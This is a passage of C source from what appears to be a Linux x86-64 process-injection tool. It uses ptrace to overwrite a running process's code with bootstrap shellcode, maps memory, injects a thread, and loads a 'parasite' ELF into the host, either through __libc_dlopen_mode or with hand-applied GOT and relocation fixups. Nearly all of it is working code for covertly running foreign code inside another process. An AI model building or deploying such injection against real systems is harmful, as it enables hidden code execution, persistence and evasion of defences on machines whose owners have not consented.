-1;\n\t\n\t/*\n\t * zero out stack segment from \n\t */\n\tpt_memset(h, (void *)STACK_TOP(h->stack.base), STACK_SIZE);\n\t\n\th->tasks.thread_count = 0; \n\t\n\tif ((h->tasks.thread[0] = pt_create_thread(h, entry, NULL, (uintptr_t)h->stack.base)) < 0) {\n                printf(\"[!] pt_create_thread() failed in process %d\\n\", h->tasks.pid);\n                exit(-1);\n        }\n\t\n\ttid = h->tasks.thread[0];\n\n\tprintf(\"[+] Thread injection succeeded, tid: %d\\n\", h->tasks.thread[0]);\n\n\treturn 0;\n\t\n}\n\n/*\n * XXX This function was only to test the parasite before\n * thread injection was working (Which it is now)\n */\nstatic int launch_parasite_no_thread(handle_t *h)\n{\n        struct user_regs_struct pt_reg = {0};\n        int status;\n        void *stackframe;\n\tlong null = 0L;\n\n        if (pid_attach_stateful(h) < 0)\n                return -1;\n\n\tpt_memset(h, (void *)STACK_TOP(h->stack.base), STACK_SIZE);\n        \n\th->pt_reg.rip = (uint64_t)h->entryp + h->base;\n        h->pt_reg.rsp = (uint64_t)h->stack.base;\n\t\n        if (ptrace(PTRACE_SETREGS, h->tasks.pid, NULL, &h->pt_reg) < 0) {\n                perror(\"PTRACE_SETREGS\");\n                return -1;\n        }\n\t\n        return 0;\n}\n\nint run_exec_loader_dlopen(handle_t *h)\n{\n\tsize_t codesize;\n        void *mapped;\n        struct user_regs_struct pt_reg;\n        int i;\n        char buf[4096];\n        char tmp[32], tmp2[32];\n        struct linking_info *linfo = h->linfo;\n\tvoid *ascii_storage = (void *)((unsigned long)h->stack.base - 512);\n\n\tif (pid_attach_stateful(h) < 0)\n\t\treturn -1;\n\t\n\tif (pid_write(h->tasks.pid, (void *)ascii_storage, (void *)h->path, strlen(h->path) + 16) < 0)\n\t\treturn -1;\n\n\tif (pid_read(h->tasks.pid, (void *)tmp, (void *)ascii_storage, strlen(h->path) + 16) < 0)\n\t\treturn -1;\n\t\n\tDBG_MSG(\"[DEBUG]-> parasite path: %s\\n\", tmp);\n\n\th->payloads.function[DLOPEN_EXEC_LOADER].args[0] = (void *)ascii_storage; /* \"./parasite\" */\n\n\tDBG_MSG(\"[DEBUG]-> address of __libc_dlopen_mode(): %p\\n\", \n\th->payloads.function[DLOPEN_EXEC_LOADER].args[1]);\n\n\t/* NOTE: args[1] is already set to the address of function __libc_dlopen_mode() */\n\n\tif (call_fn(DLOPEN_EXEC_LOADER, h, 0) < 0) {\n\t\tprintf(\"call_fn(DLOPEN_EXEC_LOADER, ...) failed: %s\\n\", strerror(errno));\n\t\treturn -1;\n\t}\n\t\n\n\tprintf(\"DLOPEN_EXEC_LOADER-> ret val: %llx\\n\", h->payloads.function[DLOPEN_EXEC_LOADER].retval);\n\t\n\treturn 0;\n}\n\nint run_exec_loader(handle_t *h)\n{\n\tsize_t codesize;\n\tvoid *mapped;\n\tstruct user_regs_struct pt_reg;\n\tint i;\n\tchar buf[4096];\n\tchar tmp[32];\n\tstruct linking_info *linfo = h->linfo;\n\tvoid *ascii_storage = (void *)((unsigned long)h->stack.base - 512);\n\n\t\n\tif (pid_attach_stateful(h) < 0)\n\t\treturn -1;\n\t\n\tif (pid_write(h->tasks.pid, (void *)ascii_storage, (void *)TMP_PATH, strlen(TMP_PATH) + 16) < 0)\n\t\treturn -1;\n\t\n\tif (pid_read(h->tasks.pid, (void *)tmp, (void *)ascii_storage, strlen(h->path) + 16) < 0)\n\t\treturn -1;\n\t\n\tDBG_MSG(\"[DEBUG]-> parasite path: %s\\n\", tmp);\n\t\n\th->payloads.function[EXEC_LOADER].args[0] = (void *)ascii_storage;\n\t\n\tif (call_fn(EXEC_LOADER, h, 0) < 0) {\n\t\tprintf(\"call_fn(EXEC_LOADER, ...) failed: %s\\n\", strerror(errno));\n\t\treturn -1;\n\t}\n\t\n\tprintf(\"ret val: %llx\\n\", h->payloads.function[EXEC_LOADER].retval);\n\t/*\n\t * XXX We no longer need this code as we handle all of the relocations\n\t * and write the fixed up executable to /tmp/parasite.elf file.\n\t \n\tfor (i = 0; i < h->linfo[0].count; i++) {\n\t\tif(!h->linfo[i].resolved) \n\t\t\tcontinue;\n\t\tif (pid_write(h->tasks.pid, (void *)(h->dataVaddr + linfo[i].gotOffset), (void *)&linfo[i].resolved, sizeof(void *)))\n\t\t\treturn -1;\n\t}\n\n\t*/\n\n\treturn 0;\n}\n\n\n/*\n * Inject bootstrap code (Which creates a memory mapping for us\n   to store our executable loading code)\n */\nint run_bootstrap(handle_t *h)\n{\n\tstruct user_regs_struct pt_reg, pt_reg_orig;\n\tchar maps[MAX_PATH - 1], line[256], tmp[32];\n\tchar *p, *start;\n\tuint8_t *origcode;\n\tFILE *fd;\n\tElf64_Ehdr *ehdr;\n\tElf64_Phdr *phdr;\n\tuint32_t codesize;\n\tint i, status, ret;\n\t\n\t\n\tsnprintf(maps, MAX_PATH - 1, \"/proc/%d/maps\", h->tasks.pid);\n\t\n\tif ((fd = fopen(maps, \"r\")) == NULL) {\n\t\tfprintf(stderr, \"Cannot open %s for reading: %s\\n\", maps, strerror(errno));\n\t\treturn -1;\n\t}\n\twhile (fgets(line, sizeof(line), fd)) {\n\t\t\n\t\tif ((p = strchr(line, '/')) == NULL)\n\t\t\tcontinue;\n\t\t*(char *)strchr(p, '\\n') = '\\0';\n\t\th->remote.path = strdup(p);\n\t\th->remote.fd = open(h->remote.path, O_RDONLY);\n\t\tif (h->remote.fd < 0) {\n\t\t\tfprintf(stderr, \"Canot open %s for reading: %s\\n\", h->remote.path, strerror(errno));\n\t\t\treturn -1;\n\t\t}\n\n\t\tfor (i = 0, start = tmp, p = line; *p != '-'; i++, p++)\n\t\t\tstart[i] = *p;\n\t\tstart[i] = '\\0';\n\t\th->remote.base = strtoul(start, NULL, 16);\n\t\tbreak;\n\t}\t\n\t\n\torigcode = (uint8_t *)heapAlloc(codesize = h->payloads.function[BOOTSTRAP_CODE].size);\n\th->payloads.function[BOOTSTRAP_CODE].target = h->remote.base;\n\t\n\tif (pid_attach_stateful(h) < 0) \n\t\treturn -1;\n\t\n\tif (pid_read(h->tasks.pid, (void *)origcode, (void *)h->remote.base, codesize) < 0) \n\t\treturn -1; \n\t\n\t/*\n\t * h->remote.base contains the address of the hosts text segment where\n\t * we overwrite the ELF file hdr and phdr's with bootstrap_code()\n\t */\n\tprintf(\"Calling bootstrap code\\n\");\n\tif (call_fn(BOOTSTRAP_CODE, h, h->remote.base)) {\n\t\tprintf(\"call_fn(BOOTSTRAP_CODE, ...) failed: %s\\n\", strerror(errno));\n\t\treturn -1;\n\t} \n\t\n\th->stack.base = (void *)h->payloads.function[BOOTSTRAP_CODE].retval + STACK_SIZE;\n\n\tDBG_MSG(\"[+] base (or highest address) of stack: %p\\n\", h->stack.base);\n\t\n\tif (pid_write(h->tasks.pid, (void *)h->remote.base, (void *)origcode, codesize) < 0) \n\t\treturn -1;\n\t\n\t/* bootstrap code now has created anonymous memory mapping to store \n\t * our loading code.\n\t */\n\t\n\treturn 0;\n}\t\n\n/*\n * Allocates a buffer in which it stores the\n * bytecode for a function (Such as create_thread)\n */  \nuint8_t * create_fn_shellcode(void (*fn)(), size_t len)\n{\n\tsize_t i;\n\tuint8_t *shellcode = (uint8_t *)heapAlloc(len);\n\tuint8_t *p = (uint8_t *)fn;\n\n\tfor (i = 0; i < len; i++) \n\t\t*(shellcode + i) = *p++;\n\n\treturn shellcode;\n\t\n}\n\nElf64_Addr randomize_base(void)\n{\t\n\tuint32_t v;\n\tuint32_t b;\n\t\n\tstruct timeval tv;\n\t\n\tgettimeofday(&tv, NULL);\n\tsrand(tv.tv_usec); \n\t\n\tb = rand() % 0xF;\n\tb <<= 24;\n\t\n\tgettimeofday(&tv, NULL);\n\tsrand(tv.tv_usec);\n\n        v = _PAGE_ALIGN(b + (rand() & 0x0000ffff));\n\t\n\treturn (uint64_t)v;\n}\n\n\nint map_elf_binary(handle_t *h,  const char *path)\n{\n\tint fd, i, j;\n\tuint8_t *mem;\n\tElf64_Ehdr *ehdr;\n\tElf64_Phdr *phdr;\n\tElf64_Shdr *shdr;\n\tElf64_Sym  *sym;\n\tElf64_Dyn *dyn;\n\tchar *StringTable;\n\t\n\tif ((fd = open(path, O_RDWR)) < 0) {\n\t\tperror(\"open\");\n\t\treturn -1;\n\t}\n\t\n\tif ((h->path = strdup(path)) == NULL) {\n\t\tperror(\"strdup\");\n\t\treturn -1;\n\t}\n\n\tif (fstat(fd, &h->st) < 0) {\n\t\tperror(\"fstat\");\n\t\treturn -1;\n\t}\n\n\tmem = mmap(NULL, h->st.st_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);\n\tif (mem == MAP_FAILED) {\n\t\tperror(\"mmap\");\n\t\treturn -1;\n\t}\n\n\tif (mem[0] != 0x7f && strcmp((char *)&mem[1], \"ELF\")) {\n\t\tprintf(\"File %s is not an ELF executable\\n\", path);\n\t\treturn -1;\n\t}\n\n\th->mem = mem;\n\th->ehdr = ehdr = (Elf64_Ehdr *)mem;\n\th->phdr = phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];\n\th->shdr = shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff];\n\th->entryp = (void *)resolve_symbol(\"main\", h->mem);\n\tprintf(\"[+] Parasite entry point will be main(): %p\\n\", h->entryp);\n\t\n\th->strtab = (char *)&mem[shdr[ehdr->e_shstrndx].sh_offset];\n\t\n\tfor (i = 0; i < ehdr->e_phnum; i++) {\n\t\tswitch(phdr[i].p_type) {\t\t\n\t\t\tcase PT_LOAD:\n\t\t\t\tswitch (!!phdr[i].p_offset) {\n\t\t\t\t\tcase 0:\n\t\t\t\t\t\tprintf(\"[+] Found text segment\\n\");\n\t\t\t\t\t\th->textVaddr = phdr[i].p_vaddr;\n\t\t\t\t\t\th->textOff = phdr[i].p_offset;\n\t\t\t\t\t\th->textSize = phdr[i].p_memsz;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 1:\n\t\t\t\t\t\tprintf(\"[+] Found data segment\\n\");\n\t\t\t\t\t\th->o_dataVaddr = h->dataVaddr = phdr[i].p_vaddr;\n\t\t\t\t\t\th->dataOff = phdr[i].p_offset;\n\t\t\t\t\t\th->dataSize = phdr[i].p_memsz;\n\t\t\t\t\t\th->datafilesz = phdr[i].p_filesz;\n\t\t\t\t\t\tbreak;\n\t\t\t\t} \n\t\t\t\tbreak;\n\t\t\tcase PT_DYNAMIC:\n\t\t\t\tprintf(\"[+] Found dynamic segment\\n\");\n\t\t\t\th->dyn = dyn = (Elf64_Dyn *)&mem[phdr[i].p_offset];\n\t\t\t\tfor (j = 0; dyn[j].d_tag != DT_NULL; j++) {\n\t\t\t\t\tswitch(dyn[j].d_tag) {\n\t\t\t\t\t\tcase DT_PLTGOT:\n\t\t\t\t\t\t\tprintf(\"[+] Found G.O.T\\n\");\n\t\t\t\t\t\t\th->gotVaddr = dyn[j].d_un.d_ptr;\n\t\t\t\t\t\t\th->gotOff = dyn[j].d_un.d_ptr - h->dataVaddr;\n\t\t\t\t\t\t\th->GOT = (Elf64_Addr *)&h->mem[h->dataOff + h->gotOff];\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase DT_PLTRELSZ:\n\t\t\t\t\t\t\tprintf(\"[+] PLT count: %i entries\\n\", (int)dyn[j].d_un.d_val);\n\t\t\t\t\t\t\th->pltSize = dyn[j].d_un.d_val / sizeof(Elf64_Rela);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase DT_SYMTAB:\n\t\t\t\t\t\t\tprintf(\"[+] Found dynamic symbol table\\n\");\n\t\t\t\t\t\t\th->dsymVaddr = dyn[j].d_un.d_ptr;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase DT_STRTAB:\n\t\t\t\t\t\t\tprintf(\"[+] Found dynamic string table\\n\");\n\t\t\t\t\t\t\th->dstrVaddr = dyn[j].d_un.d_ptr;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\t}\n\t//close(fd);\n\treturn 0;\n\n}\n\n/*\n * This function prepares the initial calculations and\n * loads the shellcode necessary for RPPC (Remote process\n * procedure calls). These can be of type PT_SYSCALL or\n * PT_FUNCTION.\n */\n\t\nvoid prepare_fn_payloads(payloads_t *payloads, handle_t *h)\n{\n\tint i;\n\n\tfor (i = 0; i < FUNCTION_PAYLOADS; i++) {\n\t\tswitch(i) {\n\t\t\tcase CREATE_THREAD:\n\t\t\t\tpayloads->function[i].size = f12 - f11;\n\t\t\t\tpayloads->function[i].shellcode = create_fn_shellcode((void *)&create_thread, payloads->function[i].size);\t\n\t\t\t\tpayloads->function[i].target = INIT_CODE_REGION;\n\t\t\t\tpayloads->function[i].ptype = _PT_SYSCALL;\n\t\t\t\tpayloads->function[i].args[0] = NULL;\n\t\t\t\tpayloads->function[i].args[1] = NULL;\n\t\t\t\tpayloads->function[i].args[2] = NULL;\n\t\t\t\tpayloads->function[i].argc = 3;\n\t\t\t\tbreak;\n\t\t\tcase EXEC_LOADER:\n\t\t\t\tpayloads->function[i].size = f4 - f3;\n\t\t\t\tpayloads->function[i].shellcode = create_fn_shellcode((void *)&load_exec, payloads->function[i].size);\n\t\t\t\tpayloads->function[i].target = INIT_CODE_REGION;\n\t\t\t\tpayloads->function[i].args[0] = (void *)NULL; // until we assign it h->path\n\t\t\t\tpayloads->function[i].args[1] = (void *)(h->textVaddr += h->base);\n\t\t\t\tpayloads->function[i].args[2] = (void *)(h->dataVaddr += h->base);\n\t\t\t\tpayloads->function[i].args[3] = (void *)(uint64_t)h->textSize;\n\t\t\t\tpayloads->function[i].args[4] = (void *)(uint64_t)h->dataSize;\n\t\t\t\tpayloads->function[i].args[5] = (void *)(uint64_t)h->dataOff;\n\t\t\t\tpayloads->function[i].argc = 6;\t\n\t\t\t\tpayloads->function[i].ptype = _PT_FUNCTION;\n\t\t\t\tbreak;\n\t\t\tcase DLOPEN_EXEC_LOADER:\n\t\t\t\tpayloads->function[i].size = f3 - f2;\n\t\t\t\tpayloads->function[i].shellcode = create_fn_shellcode((void *)&dlopen_load_exec, payloads->function[i].size);\n\t\t\t\tpayloads->function[i].target = INIT_CODE_REGION;\n\t\t\t\tpayloads->function[i].args[0] = (void *)NULL; // until we assign it h->path;\n\t\t\t\tpayloads->function[i].args[1] = (void *)get_sym_from_libc(h, \"__libc_dlopen_mode\");\n\t\t\t\tpayloads->function[i].argc = 2;\n\t\t\t\tbreak;\n\t\t\tcase EVIL_PTRACE: /* UNUSED AS REMOTE FUNCTION */\n\t\t\t        payloads->function[i].size = f10 - f9;\n\t\t\t\tpayloads->function[i].shellcode = create_fn_shellcode((void *)&evil_ptrace, payloads->function[i].size);\n\t\t\t\tpayloads->function[i].target = 0;\n\t\t\t\tbreak;\t\n\t\t\tcase BOOTSTRAP_CODE:\n\t\t\t\tpayloads->function[i].size = f2 - f1;\n\t\t\t\tpayloads->function[i].shellcode = create_fn_shellcode((void *)&bootstrap_code, payloads->function[i].size);\n\t\t\t\tpayloads->function[i].target = 0;\n\t\t\t\tpayloads->function[i].args[0] = (void *)INIT_CODE_REGION;\n\t\t\t\tpayloads->function[i].args[1] = (void *)payloads->function[CREATE_THREAD].size +\n\t\t\t\t\t\t\t\t\tpayloads->function[EXEC_LOADER].size + \n\t\t\t\t\t\t\t\t\tpayloads->function[EVIL_PTRACE].size + \n\t\t\t\t\t\t\t\t\tpayloads->function[BOOTSTRAP_CODE].size;\n\t\t\t\tpayloads->function[i].args[2] = (void *)randomize_base();\n\t\t\t\tpayloads->function[i].argc = 3;\n\t\t\t\tpayloads->function[i].ptype = _PT_FUNCTION;\n\t\t\t\tbreak;\n\t\t\tcase SYS_MPROTECT:\n\t\t\t\tpayloads->function[i].size = f13 - f12;\n\t\t\t\tpayloads->function[i].shellcode = create_fn_shellcode((void *)&SYS_mprotect, payloads->function[i].size);\n\t\t\t\tpayloads->function[i].target = INIT_CODE_REGION;\n\t\t\t\tpayloads->function[i].args[0] = NULL;\n\t\t\t\tpayloads->function[i].args[1] = NULL;\n\t\t\t\tpayloads->function[i].args[2] = NULL;\n\t\t\t\tpayloads->function[i].argc = 3;\n\t\t\t\tpayloads->function[i].ptype = _PT_FUNCTION;\n\t\t\t\tbreak;\n\t\t}\n\t}\n}\n\nchar * get_section_index(int section, uint8_t *target)\n{\n        \n        int i;\n        Elf64_Ehdr *ehdr = (Elf64_Ehdr *)target;\n        Elf64_Shdr *shdr = (Elf64_Shdr *)(target + ehdr->e_shoff);\n        \n        for (i = 0; i < ehdr->e_shnum; i++) {\n                if (i == section)\n                        return (target + shdr[i].sh_offset);\n        }\n\n}\n\nunsigned long get_libc_addr(int pid)\n{\n        FILE *fd;\n        char buf[255], file[255];\n        char *p, *q;\n        Elf64_Addr start, stop;\n\n        snprintf(file, sizeof(file)-1, \"/proc/%d/maps\", pid);\n        \n        if ((fd = fopen(file, \"r\")) == NULL) {\n                printf(\"fopen %s: %s\\n\", file, strerror(errno));\n                exit(-1);\n        }\n        \n        while (fgets(buf, sizeof(buf), fd)) {\n                if (strstr(buf, \"libc\") && strstr(buf, \".so\")) {\n                        if ((p = strchr(buf, '-'))) \n                                *p = '\\0';\n                        \n                        start = strtoul(buf, NULL, 16);\n                        p++;\n                        stop = strtoul(p, NULL, 16);\n                        \n                        globals.libc_vma_size = stop - start;\n                        /* While we're at it get the path too */\n                        while (*p != '/')\n                                p++;\n                        *(char *)strchr(p, '\\n') = '\\0';\n                        globals.libc_path = strdup(p);\n                        if (!globals.libc_path) {\n                                perror(\"strdup\");\n                                exit(-1);\n                        }\n                        globals.libc_addr = start;\n                        return start;\n                }\n        }\n\n}\n\nElf64_Addr get_sym_from_libc(handle_t *h, const char *name)\n{\n\tint fd, i;\n\tstruct stat st;\n\tElf64_Addr libc_base_addr = get_libc_addr(h->tasks.pid);\n\tElf64_Addr symaddr;\n\t\n\tif ((fd = open(globals.libc_path, O_RDONLY)) < 0) {\n\t\tperror(\"open libc\");\n\t\texit(-1);\n\t}\n\t\n\tif (fstat(fd, &st) < 0) {\n\t\tperror(\"fstat libc\");\n\t\texit(-1);\n\t}\n\t\n\tuint8_t *libcp = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n\tif (libcp == MAP_FAILED) {\n\t\tperror(\"mmap libc\");\n\t\texit(-1);\n\t}\n\t\n\tsymaddr = resolve_symbol((char *)name, libcp);\n\tif (symaddr == 0) {\n\t\tprintf(\"[!] resolve_symbol failed for symbol '%s'\\n\", name);\n\t\tprintf(\"Try using --manual-elf-loading option\\n\");\n\t\texit(-1);\n\t}\n\tsymaddr = symaddr + globals.libc_addr; \n\n\tDBG_MSG(\"[DEBUG]-> get_sym_from_libc() addr of __libc_dl_*: %lx\\n\", symaddr);\n\treturn symaddr;\n\n}\n/*\n * Resolve libc symbols using computation:\n * symval = B + A\n */\nint fixup_got(handle_t *h)\n{\n        int i, slot;\n        struct linking_info *link;\n        Elf64_Addr got_sym_addr, symaddr;\n        Elf64_Addr libc_addr, tmp;\n        unsigned int libc_sym_addr;\n        \n        h->linfo = link = (struct linking_info *)(uintptr_t)get_reloc_data(h);\n        if (!link) {\n                printf(\"Unable to resolve Global offset table symbols\\n\");\n                exit(-1);\n        }\n\n        get_libc_addr(h->tasks.pid);\n\n        int fd;\n        struct stat st;\n\n        if ((fd = open(globals.libc_path, O_RDONLY)) < 0) {\n                perror(\"open libc\");\n                exit(-1);\n        }\n\n        if (fstat(fd, &st) < 0) {\n                perror(\"fstat\");\n                exit(-1);\n        }\n        \n        /*\n         * Map libc into memory, and resolve its symbols.\n         */\n        uint8_t *libcp = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n        for (slot = 0, i = 0; i < link[0].count; i++) {\n                if (link[i].r_type != R_X86_64_JUMP_SLOT)\n                        continue;\n\t\tslot++;\n                libc_sym_addr = resolve_symbol(link[i].name, libcp);\n                tmp = libc_sym_addr + globals.libc_addr;\n                printf(\"[+] FUNC %s -> Assigning value %lx to GOT(%lx)\\n\", link[i].name, tmp, h->gotVaddr + ((slot + 2) * sizeof(void *)));\n\t\th->GOT[slot + 2] = tmp;\n\t\tlink[i].gotOffset = h->gotOff + ((slot + 2) * sizeof(void *));\n\t\tlink[i].resolved = tmp;\n        }                               \n\t\n\tmunmap(libcp, st.st_size);       \n        close(fd);\n\n        return 0;\n}\n\nElf64_Addr resolve_symbol(char *name, uint8_t *target)\n{\n        Elf64_Sym *symtab;\n        char *SymStrTable;\n        int i, j, symcount;\n\n        Elf64_Off strtab_off;\n        Elf64_Ehdr *ehdr = (Elf64_Ehdr *)target;\n        Elf64_Shdr *shdr = (Elf64_Shdr *)(target + ehdr->e_shoff);\n\n        for (i = 0; i < ehdr->e_shnum; i++) {\n                if (shdr[i].sh_type == SHT_SYMTAB || shdr[i].sh_type == SHT_DYNSYM) {\n                        /* \n                         * In this instance of the sh_link member of Elf64_Shdr, it points\n                         * to the section header index of the symbol table string table section.\n                         */\n                        SymStrTable = (char *)get_section_index(shdr[i].sh_link, target);\n                        symtab = (Elf64_Sym *)get_section_index(i, target);\n                        for (j = 0; j < shdr[i].sh_size / sizeof(Elf64_Sym); j++, symtab++) {\n                                if(strcmp(&SymStrTable[symtab->st_name], name) == 0) {\n                                        return (symtab->st_value);\n                                }\n                        }\n                }\n        }\n        return 0;\n} \n\n/*\n * This function retrieves data from X86_64_JUMP_SLOT\n * relocation types. (GOT entries for dynamic linking)\n */\nstruct linking_info *get_reloc_data(handle_t *target)\n{\n        Elf64_Shdr *shdr, *shdrp, *symshdr;\n        Elf64_Sym *syms, *symsp;\n        Elf64_Rel *rel;\n\tElf64_Rela *rela;\n        Elf64_Ehdr *ehdr;\n\n        char *symbol;\n        int i, j, symcount, k;\n\n        struct linking_info *link;\n\n        uint8_t *mem = (uint8_t *)target->mem;\n\n        ehdr = (Elf64_Ehdr *)mem;\n        shdr = (Elf64_Shdr *)(mem + ehdr->e_shoff);\n\n        shdrp = shdr;\n\n        for (i = ehdr->e_shnum; i-- > 0; shdrp++) {\n                if (shdrp->sh_type == SHT_DYNSYM) {\n                        symshdr = &shdr[shdrp->sh_link];\n                        if ((symbol = malloc(symshdr->sh_size)) == NULL)\n                                goto fatal;\n                        memcpy(symbol, (mem + symshdr->sh_offset), symshdr->sh_size);\n\n                        if ((syms = (Elf64_Sym *)malloc(shdrp->sh_size)) == NULL)\n                                goto fatal;\n\n                        memcpy((Elf64_Sym *)syms, (Elf64_Sym *)(mem + shdrp->sh_offset), shdrp->sh_size);\n                        symsp = syms;\n\n                        symcount = (shdrp->sh_size / sizeof(Elf64_Sym));\n                        link = (struct linking_info *)malloc(sizeof(struct linking_info) * symcount);\n                        if (!link)\n                                goto fatal;\n                        link[0].count = symcount;\n                        for (j = 0; j < symcount; j++, symsp++) {\n                                link[j].name = strdup(&symbol[symsp->st_name]);\n                                if (!link[j].name)\n                                        goto fatal;\n                                link[j].s_value = symsp->st_value;\n                                link[j].index = j;\n                        }\n                        break;\n   \t\t}\n        }\n        for (i = ehdr->e_shnum; i-- > 0; shdr++) {\n                switch(shdr->sh_type) {\n                        case SHT_RELA:\n                                 rela = (Elf64_Rela *)(mem + shdr->sh_offset);\n                                 for (j = 0; j < shdr->sh_size; j += sizeof(Elf64_Rela), rela++) {\n                                        for (k = 0; k < symcount; k++) {\n                                                if (ELF64_R_SYM(rela->r_info) == link[k].index) {\n                                                        link[k].r_offset = rela->r_offset;\n                                                        link[k].r_info = rela->r_info;\n                                                        link[k].r_type = ELF64_R_TYPE(rela->r_info);\n                                                }\n\n                                        }\n                                 }\n                                 break;\n                        case SHT_REL:\n\t\t\t\t rel = (Elf64_Rel *)(mem + shdr->sh_offset);\n                                 for (j = 0; j < shdr->sh_size; j += sizeof(Elf64_Rel), rel++) {\n                                        for (k = 0; k < symcount; k++) {\n                                                if (ELF64_R_SYM(rel->r_info) == link[k].index) {\n                                                        link[k].r_offset = rel->r_offset;\n                                                        link[k].r_info = rel->r_info;\n                                                        link[k].r_type = ELF64_R_TYPE(rel->r_info);\n                                                }\n\n                                        }\n                                 }\n\n                                break;\n\n                        default:\n                                break;\n                }\n        }\n\n        return link;\n        fatal:\n                return NULL;\n}\n\n/*\n * Apply ELF relocations of type RELATIVE and GLOBAL_DAT\n */\nint apply_relocs(handle_t *h)\n{ \n\tint i, j, k;\n\tElf64_Shdr *shdr, *targetShdr;\n\tElf64_Rela *rel;\n\tstruct linking_info *linfo = h->linfo;\n\tElf64_Sym *symtab, *symbol;\n\tElf64_Addr targetAddr, symval;\n\tElf64_Addr *relocPtr;\n\tint dynstr;\n\tchar *StringTable;\n\t\t\n\tfor (shdr = h->shdr, i = 0; i < h->ehdr->e_shnum; i++)\n\t\tif (shdr[i].sh_type == SHT_STRTAB && i != h->ehdr->e_shstrndx) {\n\t\t\tdynstr = i;\n\t\t\tbreak;\n\t\t}\n\t\n\tStringTable = (char *)&h->mem[shdr[dynstr].sh_offset];\n\n\tfor (shdr = h->shdr, i = 0; i < h->ehdr->e_shnum; i++) {\n\t\tif (shdr[i].sh_type == SHT_RELA) {\n\t\t\trel = (Elf64_Rela *)&h->mem[shdr[i].sh_offset];\n\t\t\tfor (j = 0; j < shdr[i].sh_size / sizeof(Elf64_Rela); j++, rel++) {\n\t\t\t\tswitch(ELF64_R_TYPE(rel->r_info)) {\n\n\t\t\t\t\tcase R_X86_64_GLOB_DAT:\n\n\t\t\t\t\t\t/* \n\t\t\t\t\t\t * We actually can leave this reloc type alone because\n\t\t\t\t\t\t * we start executing the parasite at main() and not\n\t\t\t\t\t\t * _start(), so we can ignore these ones that are\n\t\t\t\t\t\t * necessary for initialization.\n\t\t\t\t\t\t */\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t/*\n\t\t\t\t \t\t * We must resolve this relocation type\n\t\t\t\t\t\t * relval = S\n\t\t\t\t\t\t */\n\t\t\t\t\t\t\n\t\t\t\t\t\trelocPtr = (Elf64_Addr *)(h->mem + h->dataOff + (rel->r_offset - h->o_dataVaddr));\n\t\t\t\t        \tsymtab = (Elf64_Sym *)&h->mem[h->shdr[h->shdr[i].sh_link].sh_offset];\n                                        \tsymbol = (Elf64_Sym *)&symtab[ELF64_R_SYM(rel->r_info)];\n                                        \tif (symbol->st_shndx > h->ehdr->e_shnum) //bug workaround\n                                                \tcontinue;\n\t\t\t\t\t\tfor (k = 0; k < linfo[0].count; k++) {\n\t\t\t\t\t\t\tif (!strcmp(&StringTable[symbol->st_name], linfo[k].name)) {\n\t\t\t\t\t\t\t\t*(uint64_t *)relocPtr = linfo[k].resolved;\t\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} \n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase R_X86_64_RELATIVE:\n\t\t\t\t\t\t\n\t\t\t\t\t\t/*\n\t\t\t\t\t\t * We must resolve this relocation type baby!\n\t\t\t\t\t\t * relval = B + A\n\t\t\t\t\t\t */\n\t\t\t\t\t\trelocPtr = (Elf64_Addr *)(h->mem + h->dataOff + (rel->r_offset - h->o_dataVaddr));\n\t\t\t\t\t\tsymval = h->base + rel->r_addend;\n\t\t\t\t\t\t*(uint64_t *)relocPtr = symval;\n\t\t\t\t\t\t\n\t\t\t\t\t\tDBG_MSG(\"[DEBUG]: R_X86_64_RELATIVE relocation unit given value: %lx\\n\", symval);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase R_X86_64_64:\n\t\t\t\t\t\t/*\n\t\t\t\t\t\t * We must resolve this relocation type baby!\n\t\t\t\t\t\t * relval = S + A\n\t\t\t\t\t\t */\n\t\t\t\t\t\trelocPtr = (Elf64_Addr *)(h->mem + h->dataOff + (rel->r_offset - h->o_dataVaddr));\n\t\t\t\t\t\t\n\t\t\t\t\t\t/*\n\t\t\t\t\t\t * Get associated symbol and its value.\n\t\t\t\t\t\t */\n\t\t\t\t\t\tsymtab = (Elf64_Sym *)&h->mem[h->shdr[h->shdr[i].sh_link].sh_offset];\n\t\t\t\t\t\tsymbol = (Elf64_Sym *)&symtab[ELF64_R_SYM(rel->r_info)];\n\t\t\t\t\t\tsymval = symbol->st_value;\n\t\t\t\t\t\tsymval += h->base;\n\t\t\t\t\t\tsymval += rel->r_addend;\n\t\t\t\t\t\t\n\t\t\t\t\t\t/*\t\n\t\t\t\t\t\t * Fixup relocation unit\n\t\t\t\t\t\t */\n\t\t\t\t\t\t*(uint64_t *)relocPtr = symval;\n\t\t\t\t\t\t\n\t\t\t\t\t\tDBG_MSG(\"DEBUG R_X86_64_64 relocation computed to %lx\\n\", symval);\n\t\t\t\t\t\tbreak;\n\t\t\t\t} \n\t\t\t}\n\t\t}\n\t}\n\n}\n\n\nint apply_elf_relocations(handle_t *h)\n{\n\t\n\t/*\n\t * This handles the dynamic linking:\n\t * we bind the parasites dynamic functions\n\t * to the libc symbols mapped into the\n\t * hosts memory space.\n\t * So handle relocs of type R_X86_64_JUMP_SLOT\n\t */\n#if DEBUG\n\tprintf(\"[DEBUG] Calling fixup_got()\\n\");\n#endif\n\tif (fixup_got(h) < 0) {\n                printf(\"Failed to handle libc resolution\\n\");\n                return -1;\n        }\n \t\n\t/* \n\t * Handle relocs of R_X86_64_GLOB_DAT, R_X86_64_RELATIVE, R_X86_64_64\n\t */\n#if DEBUG\n\tprintf(\"[DEBUG] Calling apply_relocs()\\n\");\n#endif\n\t\n\tif (apply_relocs(h) < 0) {\n\t\tprintf(\"Failed to handle R_X86_64_GLOB_DAT relocation types\\n\");\n\t\treturn -1;\n\t}\n\t\n\n\treturn 0;\n}\n\nstatic uint64_t 